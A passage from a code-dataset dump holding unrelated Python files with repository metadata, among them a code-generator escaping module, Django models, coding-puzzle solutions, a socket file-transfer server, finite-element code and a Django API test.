**_ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES,\n    **{\n        \"{\": \"{{\",\n        \"}\": \"}}\",\n    },\n}\n\n_ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES = {\n    **_BASE_ESCAPING_IN_PYTHON,\n    **{\"'\": \"\\\\'\"},\n}\n\n_ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES_AND_DUPLICATE_CURLY_BRACKETS = {\n    **_ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES,\n    **{\n        \"{\": \"{{\",\n        \"}\": \"}}\",\n    },\n}\n\n# endregion\n\n\n# fmt: off\n@ensure(\n    lambda quoting, without_enclosing, result:\n    not (quoting is StringQuoting.SINGLE_QUOTES and not without_enclosing)\n    or (\n        result.startswith(\"'\") and result.endswith(\"'\")\n    )\n)\n@ensure(\n    lambda quoting, without_enclosing, result:\n    not (quoting is StringQuoting.DOUBLE_QUOTES and not without_enclosing)\n    or (\n        result.startswith('\"') and result.endswith('\"')\n    )\n)\n# fmt: on\ndef string_literal(\n    text: str,\n    quoting: Optional[StringQuoting] = None,\n    without_enclosing: bool = False,\n    duplicate_curly_brackets: bool = False,\n) -> Stripped:\n    \"\"\"\n    Generate a string literal from the ``text``.\n\n    If ``quoting`` is not set, check which quotes occur more often (single-quotes or\n    double-quotes), and enclose the literal such that we need to escape as little as\n    possible.\n\n    If ``without_enclosing`` is set, the enclosing characters (double-quotes or\n    single-quotes) are omitted.\n\n    If ``duplicate_curly_brackets`` is set, all the opening and closing curly brackets\n    (``{`` and ``}``) are duplicated (``{{`` and ``}}``, respectively).\n    \"\"\"\n    # noinspection PyUnusedLocal\n    mapping = None  # type: Optional[Mapping[str, str]]\n\n    # noinspection PyUnusedLocal\n    enclosing = None  # type: Optional[str]\n\n    if quoting is None:\n        if text.count(\"'\") <= text.count('\"'):\n            mapping = _ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES\n            enclosing = \"'\"\n\n        else:\n            mapping = _ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES\n            enclosing = '\"'\n\n    elif quoting is StringQuoting.SINGLE_QUOTES:\n        mapping = _ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES\n        enclosing = \"'\"\n\n    elif quoting is StringQuoting.DOUBLE_QUOTES:\n        mapping = _ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES\n        enclosing = '\"'\n    else:\n        assert_never(quoting)\n        raise AssertionError(\"Unexpected execution path\")\n\n    assert mapping is not None\n\n    if duplicate_curly_brackets:\n        if mapping is _ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES:\n            mapping = (\n                _ESCAPING_IN_PYTHON_INCLUDING_DOUBLE_QUOTES_AND_DUPLICATE_CURLY_BRACKETS\n            )\n        elif mapping is _ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES:\n            mapping = (\n                _ESCAPING_IN_PYTHON_INCLUDING_SINGLE_QUOTES_AND_DUPLICATE_CURLY_BRACKETS\n            )\n        else:\n            raise AssertionError(f\"Unexpected mapping: {mapping}\")\n\n    escaped = \"\".join(mapping.get(character, character) for character in text)\n\n    if without_enclosing:\n        return Stripped(escaped)\n    else:\n        return Stripped(f\"{enclosing}{escaped}{enclosing}\")\n\n\n# fmt: off\n@ensure(\n    lambda result:\n    not result[1] or all(\n        line.startswith('b\"') and line.endswith('\"')\n        for line in result[0].splitlines()\n    ),\n    \"If multi-line, the text is lines of bytes literals\"\n)\n@ensure(\n    lambda result:\n    not (not result[1])\n    or (\n        '\\n' not in result[0]\n        and result[0].startswith('b\"') and result[0].endswith('\"')\n    )\n)\n# fmt: on\ndef bytes_literal(value: bytes) -> Tuple[Stripped, bool]:\n    \"\"\"\n    Generate a literal representing the ``value``.\n\n    If there are more than 8 bytes, a multi-line literal is returned.\n\n    :param value: to be represented\n    :return: (Python literal, is multi-line)\n    \"\"\"\n    writer = io.StringIO()\n\n    # noinspection PyUnusedLocal\n    multi_line = None  # type: Optional[bool]\n\n    if len(value) <= 8:\n        writer.write('b\"')\n        for byte in value:\n            writer.write(f\"\\\\x{byte:02x}\")\n\n        writer.write('\"')\n\n        multi_line = False\n    else:\n        for i in range(0, len(value), 8):\n            if i > 0:\n                writer.write(\"\\n\")\n\n            start = i\n            end = min(i + 8, len(value))\n\n            assert start < end\n\n            writer.write('b\"')\n            for byte in value[start:end]:\n                writer.write(f\"\\\\x{byte:02x}\")\n            writer.write('\"')\n\n        multi_line = True\n\n    return Stripped(writer.getvalue()), multi_line\n\n\ndef needs_escaping(text: str, also_check_curly_brackets: bool = False) -> bool:\n    \"\"\"\n    Check whether the ``text`` contains a character that needs escaping.\n\n    If ``also_check_curly_brackets`` is set, it also checks that the ``text``\n    does not contain any curly brackets, which would need to be properly escaped\n    in string interpolations.\n    \"\"\"\n    for character in text:\n        if character == \"\\a\":\n            return True\n        elif character == \"\\b\":\n            return True\n        elif character == \"\\f\":\n            return True\n        elif character == \"\\n\":\n            return True\n        elif character == \"\\r\":\n            return True\n        elif character == \"\\t\":\n            return True\n        elif character == \"\\v\":\n            return True\n        elif character == '\"':\n            return True\n        elif character == \"\\\\\":\n            return True\n        else:\n            pass\n\n    if also_check_curly_brackets:\n        if \"{\" in text:\n            return True\n\n        if \"}\" in text:\n            return True\n\n    return False\n\n\nPRIMITIVE_TYPE_MAP = {\n    intermediate.PrimitiveType.BOOL: Stripped(\"bool\"),\n    intermediate.PrimitiveType.INT: Stripped(\"int\"),\n    intermediate.PrimitiveType.FLOAT: Stripped(\"float\"),\n    intermediate.PrimitiveType.STR: Stripped(\"str\"),\n    # NOTE (mristin, 2022-10-14):\n    # Since most Python functions and encodings deal with ``bytes`` instead of\n    # ``bytearrays``, we decided to use ``bytes`` in the SDK.\n    intermediate.PrimitiveType.BYTEARRAY: Stripped(\"bytes\"),\n}\n\n\ndef _assert_all_primitive_types_are_mapped() -> None:\n    \"\"\"Assert that all the primitive types are mapped to Python ones.\"\"\"\n    all_primitive_literals = set(literal.value for literal in PRIMITIVE_TYPE_MAP)\n\n    mapped_primitive_literals = set(\n        literal.value for literal in intermediate.PrimitiveType\n    )\n\n    all_diff = all_primitive_literals.difference(mapped_primitive_literals)\n    mapped_diff = mapped_primitive_literals.difference(all_primitive_literals)\n\n    messages = []  # type: List[str]\n    if len(mapped_diff) > 0:\n        messages.append(\n            f\"More primitive maps are mapped than there were defined \"\n            f\"in the ``intermediate._types``: {sorted(mapped_diff)}\"\n        )\n\n    if len(all_diff) > 0:\n        messages.append(\n            f\"One or more primitive types in the ``intermediate._types`` were not \"\n            f\"mapped in PRIMITIVE_TYPE_MAP: {sorted(all_diff)}\"\n        )\n\n    if len(messages) > 0:\n        raise AssertionError(\"\\n\\n\".join(messages))\n\n\n_assert_all_primitive_types_are_mapped()\n\n\ndef generate_type(\n    type_annotation: intermediate.TypeAnnotationUnion,\n    types_module: Optional[Identifier] = None,\n) -> Stripped:\n    \"\"\"\n    Generate the type for the given type annotation.\n\n    If ``types_module`` is specified, it is used as prefix for the composite types.\n    \"\"\"\n    if isinstance(type_annotation, intermediate.PrimitiveTypeAnnotation):\n        return PRIMITIVE_TYPE_MAP[type_annotation.a_type]\n\n    elif isinstance(type_annotation, intermediate.OurTypeAnnotation):\n        our_type = type_annotation.our_type\n\n        # NOTE (mristin, 2022-09-17):\n        # If no ``types_module``, we mark all enumerations and classes as string\n        # literals to avoid problems caused by lack of forward declaration in Python. If\n        # we created a dependency graph, we could strip away some quotes, but we believe\n        # that consistency is better for readability than no quotes in some cases.\n\n        if isinstance(our_type, intermediate.Enumeration):\n            if types_module is None:\n                return Stripped(\n                    repr(python_naming.enum_name(type_annotation.our_type.name))\n                )\n            else:\n                return Stripped(\n                    f\"{types_module}\"\n                    f\".{python_naming.enum_name(type_annotation.our_type.name)}\"\n                )\n\n        elif isinstance(our_type, intermediate.ConstrainedPrimitive):\n            return PRIMITIVE_TYPE_MAP[our_type.constrainee]\n\n        elif isinstance(our_type, intermediate.Class):\n            if types_module is None:\n                return Stripped(repr(python_naming.class_name(our_type.name)))\n            else:\n                return Stripped(\n                    f\"{types_module}.{python_naming.class_name(our_type.name)}\"\n                )\n\n    elif isinstance(type_annotation, intermediate.ListTypeAnnotation):\n        item_type = generate_type(\n            type_annotation=type_annotation.items, types_module=types_module\n        )\n\n        return Stripped(f\"List[{item_type}]\")\n\n    elif isinstance(type_annotation, intermediate.OptionalTypeAnnotation):\n        value = generate_type(\n            type_annotation=type_annotation.value, types_module=types_module\n        )\n\n        return Stripped(f\"Optional[{value}]\")\n\n    else:\n        assert_never(type_annotation)\n\n    raise AssertionError(\"Should not have gotten here\")\n\n\nINDENT = \"    \"\nINDENT2 = INDENT * 2\nINDENT3 = INDENT * 3\nINDENT4 = INDENT * 4\nINDENT5 = INDENT * 5\nINDENT6 = INDENT * 6\n\nWARNING = Stripped(\n    \"\"\"\\\n# This code has been automatically generated by aas-core-codegen.\n# Do NOT edit or append.\"\"\"\n)\n\nQUALIFIED_MODULE_NAME_RE = re.compile(\n    r\"[a-zA-Z_][a-zA-Z_0-9]*(\\.[a-zA-Z_][a-zA-Z_0-9]*)*\"\n)\n\n\nclass QualifiedModuleName(str):\n    \"\"\"Capture a qualified name of a module.\"\"\"\n\n    @require(lambda identifier: QUALIFIED_MODULE_NAME_RE.fullmatch(identifier))\n    def __new__(cls, identifier: str) -> \"QualifiedModuleName\":\n        return cast(QualifiedModuleName, identifier)\n\n\nclass GeneratorForLoopVariables:\n    \"\"\"\n    Generate a unique variable name based on ``item`` stem.\n\n    >>> generator = GeneratorForLoopVariables()\n\n    >>> next(generator)\n    'an_item'\n\n    >>> next(generator)\n    'another_item'\n\n    >>> next(generator)\n    'yet_another_item'\n\n    >>> next(generator)\n    'yet_yet_another_item'\n    \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"Initialize with the zero counter.\"\"\"\n        self.counter = 0\n\n    def __next__(self) -> Identifier:\n        \"\"\"Generate the next variable name.\"\"\"\n        if self.counter == 0:\n            result = Identifier(\"an_item\")\n        elif self.counter == 1:\n            result = Identifier(\"another_item\")\n        else:\n            result = Identifier((\"yet_\" * (self.counter - 1)) + \"another_item\")\n\n        self.counter += 1\n\n        return result\n","repo_name":"aas-core-works/aas-core-codegen","sub_path":"aas_core_codegen/python/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":11936,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"41221161229","text":"from django.db import models\nfrom django.utils import timezone\nfrom shortuuid.django_fields import ShortUUIDField\nfrom django.contrib.auth.models import AbstractUser\n\nclass Locality (models.Model):\n    country = models.CharField(max_length=100)\n    ctate = models.CharField(max_length=100)\n    city = models.CharField(max_length=100)\n    local_government = models.CharField(max_length=100)\n    \n    def __str__(self):\n        return self.local_government\n\nclass School (AbstractUser):\n    School_owner = models.CharField(max_length=255, null=True)\n    School_name = models.CharField(max_length=255)\n    School_id = ShortUUIDField(\n        length= 4,\n        max_length = 10,\n        prefix = 'DP',\n        alphabet = \"123456efghij\",\n        primary_key = True\n    )\n    Reg_number = models.CharField(max_length=255, null=True)  \n    Registered_session = models.CharField(max_length=255, null=True)  \n    current_address = models.CharField(max_length=255, null=True)  \n    Permanent_address = models.CharField(max_length=255, null=True)         \n    username = models.CharField(max_length=100)\n    email = models.EmailField(max_length=255, unique=True)\n    Number_of_teachers = models.IntegerField(null=True)\n    Contact_number = models.IntegerField(null=True)\n    Number_of_students = models.IntegerField(null=True)\n    Founded = models.CharField(max_length=100, null=True)\n    Session = models.CharField(max_length=100, null=True)\n    created = models.DateTimeField(auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True)\n    \n    USERNAME_FIELD = 'email'\n    REQUIRED_FIELDS = ['username']\n    \n    \n  \n    def __str__(self):\n        return self.School_name\n\n\nclass UserVerification(models.Model):\n    name = models.OneToOneField(School, on_delete=models.CASCADE)\n    created = models.DateTimeField(auto_now_add = True)\n    \n    class Meta:\n        ordering = ['-created', ]\n        \n    def __str__(self):\n        return f' {self.name} user verification'\n    \n    \n    \nclass School_Profile (models.Model):\n    school = models.OneToOneField(School, on_delete=models.CASCADE)\n    profile_pics = models.ImageField(default='fixed.png', upload_to='profile_pics')\n    School_owner_pics = models.ImageField(default='fixed.jpg', upload_to='school_owner_pics', null=True)\n    locality = models.ForeignKey(Locality, on_delete=models.CASCADE,  blank=True, null=True)\n    \n    def __str__(self):\n        return f'{self.school.School_name} Profile'\n    \n\n\n\n\nclass Debtor (models.Model):\n    student_name = models.CharField(max_length=100)\n    student_id = models.CharField(max_length=100)\n    sponsor_email = models.EmailField(max_length=100, unique=True)\n    school = models.ForeignKey(School, on_delete=models.CASCADE, null=True)\n    sponsor_relationship = models.CharField(max_length=50)\n    sponsor_name = models.CharField(max_length=255)\n    sponsor_location = models.CharField(max_length=255)\n    debtor_image = models.ImageField(upload_to='debtors pics',default='fixed.jpg', null=True)\n    debt = models.IntegerField()\n    student_class =models.CharField(max_length=50)\n    created = models.DateTimeField(auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True)\n    class Meta:\n        ordering = ['-updated', ]\n        \n        \n    def __str__(self):\n        return self.student_name\n\n    \nclass Post (models.Model):\n    title = models.CharField(max_length=255)\n    school_post = models.ForeignKey(School, on_delete=models.CASCADE)\n    body = models.TextField(help_text='Enter post here...')\n    deptors_list = models.ForeignKey(Debtor, on_delete=models.CASCADE)\n    image = models.ImageField(upload_to='post_pics', blank=True, null=True)\n    created = models.DateTimeField(auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True)\n\n    \n    class Meta:\n        ordering = ['-updated', ]\n    \n    def __str__(self):\n        return self.title\n\nclass Comment (models.Model):\n    school = models.ForeignKey(School, on_delete = models.CASCADE, null=True)\n    post = models.ForeignKey(Post, on_delete=models.CASCADE)\n    body = models.TextField(help_text='Enter your comments here...')\n    created = models.DateTimeField(auto_now_add=True)\n\n    \n    class Meta:\n        ordering = ['-created', ]\n    def __str__(self):\n        return self.body\n    \nclass Reply (models.Model):\n    school = models.ForeignKey(School, on_delete = models.CASCADE, null=True)\n    comment = models.ForeignKey(Comment, on_delete=models.CASCADE)\n    body = models.TextField(help_text='Enter your comments here...')\n    created = models.DateTimeField(auto_now_add=True)\n\n    \n    class Meta:\n        ordering = ['-created', ]\n    def __str__(self):\n        return self.body\n\n\nclass Contend (models.Model):\n    school = models.ForeignKey(School, on_delete=models.CASCADE)\n    email = models.EmailField(max_length=100)\n    student_id = models.CharField(max_length=50)\n    how_to_be_contacted = models.CharField(max_length=255, help_text='specify email or phone number')\n    complain = models.TextField(help_text='Enter your complain here...')\n\n    def __str__(self):\n        return self.student_id\n\nclass Help (models.Model):\n    title = models.CharField(max_length=255)\n    body = models.TextField()\n\n    def __str__(self):\n        return self.title\n    \n    \nclass Message(models.Model):\n    Full_name = models.CharField(max_length=255)\n    Email_address = models.EmailField(max_length=255)\n    Subject = models.CharField(max_length=255)\n    message = models.TextField()\n\n\nclass Meeting(models.Model):\n    title = models.CharField(max_length=50)\n    description = models.CharField(max_length=200)\n    meeting_host = models.OneToOneField(School, on_delete=models.CASCADE)\n    is_active = models.BooleanField(default=True)\n    participants = models.ManyToManyField(School, related_name='Main', blank=True)\n    meeting_profile_image = models.ImageField(upload_to='Meeting DP', default='fixed.jpg')\n    created = models.DateTimeField(auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True)\n    \n    class Meta:\n        ordering = ['-created', ]\n        \n    def __str__(self):\n        return self.title\n    \n\nclass Meeting_Comment(models.Model):\n    body = models.TextField()\n    image = models.ImageField(upload_to='MettingCommentImage', null=True, blank= True)\n    attendee = models.ForeignKey(School, on_delete=models.CASCADE)\n    meeting = models.ForeignKey(Meeting, on_delete=models.CASCADE)\n    created = models.DateTimeField(auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True)\n    \n    class Meta:\n        ordering = ['-created', ]\n        \n    def __str__(self):\n        return self.body\n    \n    \nclass Meeting_Comment_Reply(models.Model):\n    body = models.TextField()\n    image = models.ImageField(upload_to='Metting_Comment_Reply_image', null=True, blank= True)\n    responder = models.ForeignKey(School, on_delete=models.CASCADE)\n    comment = models.ForeignKey(Meeting_Comment, on_delete=models.CASCADE)\n    created = models.DateTimeField(auto_now_add=True)\n    updated = models.DateTimeField(auto_now=True)\n    \n    class Meta:\n        ordering = ['-created', ]\n        \n    def __str__(self):\n        return self.body\n    \n   \nclass School_Chat(models.Model):\n    sender = models.ForeignKey(School, on_delete=models.CASCADE) \n    recepient = models.ForeignKey(School, on_delete=models.CASCADE, related_name='receiver') \n    body = models.TextField()\n    image = models.ImageField(upload_to='Chat_image', null=True, blank=True)\n    created = models.DateTimeField(auto_now_add=True)\n    \n    class Meta:\n        ordering = ['-created', ]\n    \n    \n    def __str__(self):\n        return f' {self.sender} Chat '","repo_name":"zuri-training/PROJ-31-debpay","sub_path":"Backend/Debtor/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7654,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"23999598313","text":"from math import factorial as fac\n\ndef digfac(n):\n    s = 0\n    for d in str(n):\n        s += fac(int(d))\n    return s\n\ndef chain(n):\n    L = [n]\n    idx = 0\n    while True:\n        c = digfac(L[idx])\n        if c not in L:\n            L.append(c)\n            idx += 1\n        else:\n            return(L, idx + 1)\n\nresult, limit, chain_len = 0, 1000000, 60\n\nfor num in range(limit + 1):\n    if chain(num)[1] == chain_len:\n        result += 1\n        \nprint(result)\n","repo_name":"Konohayui/Project-Euler","sub_path":"Digit factorial chains.py","file_name":"Digit factorial chains.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73173312888","text":"\"\"\"\nGiven a 2D array, print it in spiral form.\n\nInput:\n        1    2   3   4\n        5    6   7   8\n        9   10  11  12\n        13  14  15  16\nOutput:\n1 2 3 4 8 12 16 15 14 13 9 5 6 7 11 10\n\"\"\"\n\n\ndef spiral_traversal(M):\n    res=[]          # result\n    r=len(M)-1      # total rows\n    c=len(M[0])-1   # total columns\n    k = l = 0       # row: k, col: l\n\n    while k<=r and l<=c:\n        # traverse left -> right\n        for i in range(l, c+1):\n            res.append(M[k][i])\n        k += 1    # increase count of rows traversed\n\n        # traverse top -> bottom\n        for j in range(k, r+1):\n            res.append(M[j][c])\n        c -= 1  # decrease column count\n\n        # traverse right -> left\n        if r > k:\n            for i in range(c, l-1, -1):\n                res.append(M[r][i])\n            r -= 1    # decrease row count for traversed\n\n        # traverse bottom -> top\n        if c > l:\n            for j in range(r, k-1, -1):\n                res.append(M[j][l])\n            l += 1    # increase traversed column\n\n    print(res)\n\nmatrix = [[1,  2,  3,  4], [5,  6, 7,  8], [9,  10, 11, 12], [13, 14, 15, 16]]  # 17, 18]]\n\"\"\"\n[1,  2,  3,  4,  5,  6]\n[7,  8,  9,  10, 11, 12]\n[13, 14, 15, 16, 17, 18]\n\nans: 1 2 3 4 5 6 12 18 17 16 15 14 13 7 8 9 10 11\n\"\"\"\nspiral_traversal(M=matrix)\n","repo_name":"dhananjaymehta/Algo-DS","sub_path":"Solutions/spiral_matrix_traversal.py","file_name":"spiral_matrix_traversal.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2103412505","text":"import socket\r\nimport os\r\nimport re\r\n\r\n\r\ndef receive_file():\r\n    filename = sock.recv(1024).decode('utf-8')\r\n    if not filename:\r\n        print('receive file failed')\r\n        return\r\n    with open(filename, 'wb') as f:\r\n        while 1:\r\n            byte = sock.recv(1024)\r\n            if byte:\r\n                f.write(byte)\r\n            else:\r\n                break\r\n    print('receive file success')\r\n\r\n\r\ndef send_file():\r\n    file = input('which file: ')\r\n    if not os.path.exists(file):\r\n        print('file not exists')\r\n        return\r\n\r\n    sock.send(file.encode('utf-8'))\r\n    with open(file, 'rb') as f:\r\n        while 1:\r\n            byte = f.read(1024)\r\n            if byte:\r\n                sock.send(byte)\r\n            else:\r\n                break\r\n    print('send file success')\r\n\r\n\r\ns = socket.socket()\r\ns.settimeout(3)\r\nif s.connect_ex(('8.8.8.8', 53)):\r\n    addrs = socket.getaddrinfo(socket.gethostname(), None)\r\n    for addr in addrs:\r\n        ip = re.match(r'(\\d+)\\.\\d+\\.\\d+\\.\\d+', addr[4][0])\r\n        if ip and ip.group(1) not in ('127', '0'):\r\n            ip = ip.group()\r\n            break\r\n    else:\r\n        print('private network')\r\nelse:\r\n    ip = s.getsockname()[0]\r\nprint('server ip is %s' % ip)\r\ns.close()\r\n\r\ns = socket.socket()\r\nport = input('socket on which port: ')\r\ns.bind(('', int(port)))\r\ns.listen(1)\r\n\r\nwhile 1:\r\n    sock, addr = s.accept()\r\n    print('connected by {0}:{1}'.format(addr[0], addr[1]))\r\n    tp = sock.recv(1024).decode('utf-8')\r\n    if tp in ('s', 'send'):\r\n        receive_file()\r\n    elif tp in ('r', 'receive'):\r\n        send_file()\r\n    sock.close()\r\n    if input('quit?(y or n): ') in ('y', 'yes'):\r\n        break\r\n\r\ns.close()\r\n","repo_name":"tcsxf/socketfile","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29355183919","text":"#Ordenar tres números\ndef ordenar_numeros(a, b, c):\n    # Crear una lista con los tres números\n    numeros = [a, b, c]\n    \n    # Ordenar la lista de menor a mayor\n    numeros.sort()\n    \n    # Imprimir los números separados por comas\n    print(','.join(str(num) for num in numeros))\n\n\n# Solicitar al usuario que ingrese los tres números\nnumero1 = int(input(\"Ingrese el primer número: \"))\nnumero2 = int(input(\"Ingrese el segundo número: \"))\nnumero3 = int(input(\"Ingrese el tercer número: \"))\n\n# Llamar a la función para ordenar e imprimir los números\nordenar_numeros(numero1, numero2, numero3)\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej6/hito1_ej6_cd92f91e626ced7b3956920732cf48f7.py","file_name":"hito1_ej6_cd92f91e626ced7b3956920732cf48f7.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34735818713","text":"from utils.mesh import *\nfrom utils.display import *\nfrom TwoDimensionalUtils.TriShapeFunction import *\nimport numpy as np\n\n'''\n        Author: Wang Jingzhou\n        Email: Andrewwang@whu.edu.cn\n        Affiliation: School of water resources and hydropower engineering, Wuhan University\n'''\n\ndef setPressure(pressure, mesh, index, coord_value, x, y, f):\n    boundary_points = mesh.getBoundaryPoints(index, coord_value)\n    boundary_lines = mesh.getBoundaryLines(boundary_points)\n    s = sym.symbols(\"s\")\n    N1 = (1 - s) / 2\n    N2 = (1 + s) / 2\n    N = sym.Matrix([N1, N2]).T\n    for line in boundary_lines:\n        point_1 = mesh.point[line[0]]\n        point_2 = mesh.point[line[1]]\n        length = point_1.distance(point_2)\n        base = np.array([point_1.coord, point_2.coord])\n        temp = np.sqrt(1 / 3)\n        gaussian_point1 = np.dot(np.array(N.subs([(s, -temp)])), base)\n        gaussian_point2 = np.dot(np.array(N.subs([(s, temp)])), base)\n        pressure1 = pressure.subs([(x, gaussian_point1[0, 0]), (y, gaussian_point1[0, 1])])\n        pressure2 = pressure.subs([(x, gaussian_point2[0, 0]), (y, gaussian_point2[0, 1])])\n        pressure_base = np.array([pressure1, pressure2])\n        f1 = np.dot(np.array(N.subs([(s, -temp)])), pressure_base) * length / 2\n        f2 = np.dot(np.array(N.subs([(s, temp)])), pressure_base) * length / 2\n        f[line[0] - 1, index] += f1\n        f[line[1] - 1, index] += f2\n\nif __name__ == \"__main__\":\n    # figs save path\n    figDirectory = 'biaCompression'\n    if not os.path.exists(figDirectory):\n        os.mkdir(figDirectory)\n\n    # create the model of calculation\n    points = [Point(1, [0, 0]),\n              Point(2, [0.3, 0]),\n              Point(3, [0.3, 0.7]),\n              Point(4, [0, 0.7])]\n    lines = [Line(i, [points[i], points[(i + 1) % len(points)]])\n             for i in range(len(points))]\n    domain = Domain(lines)\n    domain.divideBoundary(\"length\", 0.1)\n    tri_mesh = triMesh(domain)\n    displayTriMesh(tri_mesh)\n\n    # set the force and the displacement to calculate\n    num = len(tri_mesh.point_name)\n    f = np.zeros((num, 2))\n    mask = np.full((num, 2), np.nan)\n\n    # TODO pressure should be calculated with regard to the length of the boundary (2D) (or area of the surface in 3D)\n    # TODO add a function to integrate the pressure on the top\n    # TODO use the quad mesh\n    # TODO save the figures and add the computational results to the readme file\n\n    # set the computational parameter\n    x, y = sym.symbols(\"x, y\")\n    pressure = 1e6 * x ** 0\n    displacement = -0.14\n    n_step = 10\n    d_displacement_list = [displacement * i / n_step\n                           for i in range(n_step + 1)]\n\n    # apply the pressure\n    setPressure(pressure, tri_mesh, 0, 0, x, y, f)\n    setPressure(-pressure, tri_mesh, 0, 0.3, x, y, f)\n\n    # get the boundary\n    points_top = tri_mesh.getBoundaryPoints(1, 0.7)\n    points_bottom = tri_mesh.getBoundaryPoints(1, 0)\n    for point_name in points_bottom:\n        mask[point_name - 1] = np.array([0, 0])\n    F_top = []\n    for i, d_displacement in enumerate(d_displacement_list):\n        for point_name in points_top:\n            mask[point_name - 1] = np.array([0, d_displacement])\n        # solve\n        f_node = twoDimFEM(tri_mesh, f, mask, step=i, filePath=figDirectory)\n        F = 0\n        for point_name in points_top:\n            F += f_node[point_name - 1, 1]\n        F_top.append(F)\n\n    plt.figure()\n    plt.xlabel(\"displacement/(m)\")\n    plt.ylabel(\"force/(kN)\")\n    plt.plot((-np.array(d_displacement_list)).tolist(),\n             (-np.array(F_top)/1000).tolist())\n    fileName = os.path.join(figDirectory, 'force_to_displacement_curve')\n    plt.savefig(fileName)\n\n    plt.figure()\n    plt.xlabel(\"strain/(%)\")\n    plt.ylabel(\"stress/(MPa)\")\n    plt.plot((-np.array(d_displacement_list) / 0.7).tolist(),\n             (-np.array(F_top) / 1000000 / 0.3).tolist())\n    fileName = os.path.join(figDirectory, 'stress_to_strain_curve')\n    plt.savefig(fileName)","repo_name":"guanshaoheng/pyfem","sub_path":"examples/mainTriBiaCompression.py","file_name":"mainTriBiaCompression.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"15018610915","text":"from criatura import Criatura\nclass Monstro(Criatura):\n    def __init__(self, nome, tipo, habitat, vida, forca, defesa, resistencia):\n        super().__init__(nome, tipo, habitat, vida, forca, defesa)\n        self.resistencia = max(min(resistencia, 50), 0)\n        self.bonus()\n\n    def imprimir_monstro(self):\n        super().imprimir()\n        print(f\"Resistencia: {self.resistencia}\")\n\n    def bonus(self):\n        # bonus pela resistencia do monstro\n        self.defesa += (self.resistencia * (50/100))\n        \nmonstros = [\n    Monstro(\"Zood\", \"Monstro\", \"Caverna\", 600, 190, 90, 50),\n    Monstro(\"Void\", \"Monstro\", \"Floresta\", 500, 150, 100, 50), \n    Monstro(\"Drácula\", \"Monstro\", \"Caverna\", 1000, 120, 60, 30),\n    Monstro(\"Cuca\", \"Monstro\", \"Caverna\", 400, 110, 100, 20), \n    Monstro(\"Bruxa\", \"Monstro\", \"Floresta\", 700, 130, 80, 10),\n    Monstro(\"Bronks\", \"Monstro\", \"Caverna\", 200, 200, 100, 50)\n]","repo_name":"luckycarvalho/gamePOO","sub_path":"monstro.py","file_name":"monstro.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23469229842","text":"\nimport sys\nclass Trie:\n    def __init__(self):\n        self.root={}\n        self.endSymbol='*'\n\n    def add(self,words):\n        node = self.root\n        for temp in words:\n            if temp not in node:\n                node[temp]={}\n            node = node[temp]\n        if node.keys():\n            return False\n        node[self.endSymbol]=words\n        return True\n\n\n\nt = int(input())\nfor _ in range(t):\n    n = int(input())\n    trie=Trie()\n    flag=True\n    words=[]\n    flag=True\n    for i in range(n):\n        temp = sys.stdin.readline().rstrip()\n        words.append(temp)\n    words.sort(key=lambda x:-len(x))\n    for temp in words:\n        flag=trie.add(temp)\n        if flag==False:\n            print(\"NO\")\n            break\n    if flag==True:\n        print(\"YES\")\n\n\n\n\n","repo_name":"SeokgyuHong/personal_study","sub_path":"코딩테스트문제풀이/trie/전화번호목록.py","file_name":"전화번호목록.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22480770508","text":"from django.test import TestCase\nfrom rest_framework import status\nfrom rest_framework.test import APIRequestFactory\nfrom apps.message.views import MessageViewSet\nimport jwt\nimport base64\nfrom django.conf import settings\nfrom apps.authentication.utils import JwtTokenGenerator\n\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n\nclass MessageViewSetTestCase(TestCase):\n    def setUp(self):\n        self.factory = APIRequestFactory()\n        self.view = MessageViewSet.as_view({\"get\": \"list\", \"post\": \"create\"})\n        self.url = \"/messages/\"\n        self.user = User.objects.create_user(\n            username=\"testuser\", password=\"testpassword\"\n        )\n        self.token_generator = JwtTokenGenerator()\n        self.auth_token = self.token_generator.get_token(self.user)\n\n    def test_list(self):\n        request = self.factory.get(\n            self.url, HTTP_AUTHORIZATION=\"Bearer {}\".format(self.auth_token)\n        )\n        response = self.view(request)\n\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        